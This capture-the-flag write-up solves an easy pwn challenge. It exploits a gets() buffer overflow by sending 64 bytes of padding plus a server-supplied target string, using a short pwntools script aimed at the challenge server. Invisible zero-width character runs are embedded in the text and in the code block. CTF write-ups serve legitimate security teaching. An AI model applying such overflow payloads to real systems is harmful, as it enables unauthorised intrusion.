Auto Overflow 1

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: automated_overflow, dynamic_target_parsing, gets_exploitation

Summary

Task: overflow a buffer to match a dynamically generated target string for strcmp comparison. Solution: parse the target string from server output, then send 64 bytes of padding plus the target string to overwrite the comparison variable via gets().

Auto Overflow 1 — SPB CTF Pwn Season

Description

"Автоматизируйте переполнение"
(Automate the overflow)

Server: nc 109.233.56.90 11587
Binary: mc7_censored — ELF 64-bit x86-64, not stripped, with debug_info
Points: 10

Analysis

Classic buffer overflow with gets(), but the target string is dynamically generated. The binary generates a random number, converts it to a string (target), and stores it on the stack.

Memory Layout:

• Input buffer: 0x601070
• Target string (string1): 0x6010b0
• Distance: 64 bytes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The program outputs the target string before reading input. We parse this value and include it in our overflow payload.

Solution

1. Connect to server and receive output
2. Parse the dynamically generated target string
3. Send 64 bytes padding + target string
4. strcmp passes, flag is printed

 python read-only • copy allowed Copy
from pwn import *

io = remote('109.233.56.90', 11587)

# Parse target string from output
io.recvuntil(b'target: ')
target = io.recvline().strip()

# Send 64 bytes padding + target string
payload = b'A' * 64 + target
io.sendline(payload)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io.interactive()

Breakdown:

• Parse the dynamically generated target from server output
• Send 64 bytes padding to reach string1
• Append target string so strcmp passes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍